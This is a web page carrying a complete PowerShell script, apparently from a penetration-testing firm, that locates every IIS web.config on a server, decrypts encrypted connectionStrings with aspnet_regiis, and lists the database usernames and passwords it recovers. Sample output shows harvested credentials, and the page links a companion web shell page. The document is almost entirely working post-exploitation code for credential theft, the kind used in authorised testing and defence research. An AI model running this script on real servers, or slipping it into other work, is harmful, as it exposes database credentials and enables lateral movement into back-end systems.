Skip to main content

This PowerShell script will identify all of the web.config files on the system and recover the connectionStrings used to support authentication to back-end databases. If needed, the script will also decrypt the connectionStrings on the fly. The output supports the pipeline which can be used to convert all of the results into a pretty table by piping to format-table.

function Get-Webconfig
{
    # Author: Scott Sutherland - 2014, NetSPI
    # Author: Antti Rantasaari - 2014, NetSPI
    # Version: Get-Webconfig.ps1 v1.0
    #
    # This script: https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/IISTools/get-webconfig.ps1
    # Article: https://blog.netspi.com/decrypting-iis-passwords-to-break-out-of-the-dmz-part-1/#2

    <#
        .SYNOPSIS
           This script will recover cleartext and encrypted connection strings from all web.config files on the system.

        .DESCRIPTION
           This script will identify all of the web.config files on the system and recover the
           connectionStrings used to support authentication to backend databases.  If needed, the
           script will also decrypt the connectionStrings on the fly.  The output supports the
           pipeline which can be used to convert all of the results into a pretty table by piping
           to format-table.

        .EXAMPLE
           Return a list of cleartext and decrypted connect strings from web.config files.

           PS C:\>get-webconfig.ps1

           user   : s1admin
           pass   : s1password
           dbserv : 192.168.1.103\server1
           vdir   : C:\test2
           path   : C:\test2\web.config
           encr   : No

           user   : s1user
           pass   : s1password
           dbserv : 192.168.1.103\server1
           vdir   : C:\inetpub\wwwroot
           path   : C:\inetpub\wwwroot\web.config
           encr   : Yes

        .EXAMPLE
           Return a list of cleartext and decrypted connect strings from web.config files.

           PS C:\>get-webconfig.ps1 | Format-Table -Autosize

           user    pass       dbserv                vdir               path                          encr
           ----    ----       ------                ----               ----                          ----
           s1admin s1password 192.168.1.101\server1 C:\App1            C:\App1\web.config            No
           s1user  s1password 192.168.1.101\server1 C:\inetpub\wwwroot C:\inetpub\wwwroot\web.config No
           s2user  s2password 192.168.1.102\server2 C:\App2            C:\App2\test\web.config       No
           s2user  s2password 192.168.1.102\server2 C:\App2            C:\App2\web.config            Yes
           s3user  s3password 192.168.1.103\server3 D:\App3            D:\App3\web.config            No

         .LINK
           http://www.netspi.com
           https://raw2.github.com/NetSPI/cmdsql/master/cmdsql.aspx
           http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe
           http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx

         .NOTES
           Below is an alterantive method for grabbing connection strings, but it doesn't support decryption.
           for /f "tokens=*" %i in ('%systemroot%\system32\inetsrv\appcmd.exe list sites /text:name') do %systemroot%\system32\inetsrv\appcmd.exe list config "%i" -section:connectionstrings
        #>

    # Check if appcmd.exe exists
    if (Test-Path  ("c:\windows\system32\inetsrv\appcmd.exe"))
    {
        # Create data table to house results
        $DataTable = New-Object System.Data.DataTable

        # Create and name columns in the data table
        $DataTable.Columns.Add("user") | Out-Null
        $DataTable.Columns.Add("pass") | Out-Null
        $DataTable.Columns.Add("dbserv") | Out-Null
        $DataTable.Columns.Add("vdir") | Out-Null
        $DataTable.Columns.Add("path") | Out-Null
        $DataTable.Columns.Add("encr") | Out-Null

        # Get list of virtual directories in IIS
        c:\windows\system32\inetsrv\appcmd.exe list vdir /text:physicalpath |
        foreach {

            $CurrentVdir = $_

            # Converts CMD style env vars (%) to powershell env vars (env)
            if ($_ -like "*%*")
            {
                $EnvarName = "`$env:"+$_.split("%")[1]
                $EnvarValue = Invoke-Expression $EnvarName
                $RestofPath = $_.split("%")[2]
                $CurrentVdir  = $EnvarValue+$RestofPath
            }

            # Search for web.config files in each virtual directory
            $CurrentVdir | Get-ChildItem -Recurse -Filter web.config |
            foreach{

                # Set web.config path
                $CurrentPath = $_.fullname

                # Read the data from the web.config xml file
                [xml]$ConfigFile = Get-Content $_.fullname

                # Check if the connectionStrings are encrypted
                if ($ConfigFile.configuration.connectionStrings.add)
                {

                    # Foreach connection string add to data table
                    $ConfigFile.configuration.connectionStrings.add|
                    foreach {

                        [string]$MyConString = $_.connectionString
                        $ConfUser = $MyConString.Split("=")[3].Split(";")[0]
                        $ConfPass = $MyConString.Split("=")[4].Split(";")[0]
                        $ConfServ = $MyConString.Split("=")[1].Split(";")[0]
                        $ConfVdir = $CurrentVdir
                        $ConfPath = $CurrentPath
                        $ConfEnc = "No"
                        $DataTable.Rows.Add($ConfUser, $ConfPass, $ConfServ,$ConfVdir,$CurrentPath, $ConfEnc) | Out-Null
                    }

                }else{

                    # Find newest version of aspnet_regiis.exe to use (it works with older versions)
                    $aspnet_regiis_path = Get-ChildItem -Recurse -filter aspnet_regiis.exe c:\Windows\Microsoft.NET\Framework\ | Sort-Object -Descending  |  select fullname -First 1

                    # Check if aspnet_regiis.exe exists
                    if (Test-Path  ($aspnet_regiis_path.FullName))
                    {

                        # Setup path for temp web.config to the current user's temp dir
                        $WebConfigPath = (get-item $env:temp).FullName + "\web.config"

                        # Remove existing temp web.config
                        if (Test-Path  ($WebConfigPath))
                        {
                            Del $WebConfigPath
                        }

                        # Copy web.config from vdir to user temp for decryption
                        Copy $CurrentPath $WebConfigPath

                        #Decrypt web.config in user temp
                        $aspnet_regiis_cmd = $aspnet_regiis_path.fullname+' -pdf "connectionStrings" (get-item $env:temp).FullName'
                        invoke-expression $aspnet_regiis_cmd | Out-Null

                        # Read the data from the web.config in temp
                        [xml]$TMPConfigFile = Get-Content $WebConfigPath

                        # Check if the connectionStrings are still encrypted
                        if ($TMPConfigFile.configuration.connectionStrings.add)
                        {

                            # Foreach connection string add to data table
                            $TMPConfigFile.configuration.connectionStrings.add|
                            foreach {

                                [string]$MyConString = $_.connectionString
                                $ConfUser = $MyConString.Split("=")[3].Split(";")[0]
                                $ConfPass = $MyConString.Split("=")[4].Split(";")[0]
                                $ConfServ = $MyConString.Split("=")[1].Split(";")[0]
                                $ConfVdir = $CurrentVdir
                                $ConfPath = $CurrentPath
                                $ConfEnc = "Yes"
                                $DataTable.Rows.Add($ConfUser, $ConfPass, $ConfServ,$ConfVdir,$CurrentPath, $ConfEnc) | Out-Null
                            }

                        }else{
                            Write-Error "Decryption of $CurrentPath failed."
                        }
                    }else{
                        Write-Error "aspnet_regiis.exe does not exist in the default location."
                    }
                }
            }
        }

        # Check if any connection strings were found
        if( $DataTable.rows.Count -gt 0 )
        {
            # Display results in list view that can feed into the pipeline
            $DataTable |  Sort-Object user,pass,dbserv,vdir,path,encr | select user,pass,dbserv,vdir,path,encr -Unique
        }else{

            # Status user
            Write-Error "No connectionStrings found."
        }
    }else{
        Write-Error "Appcmd.exe does not exist in the default location."
    }

}
Get-Webconfig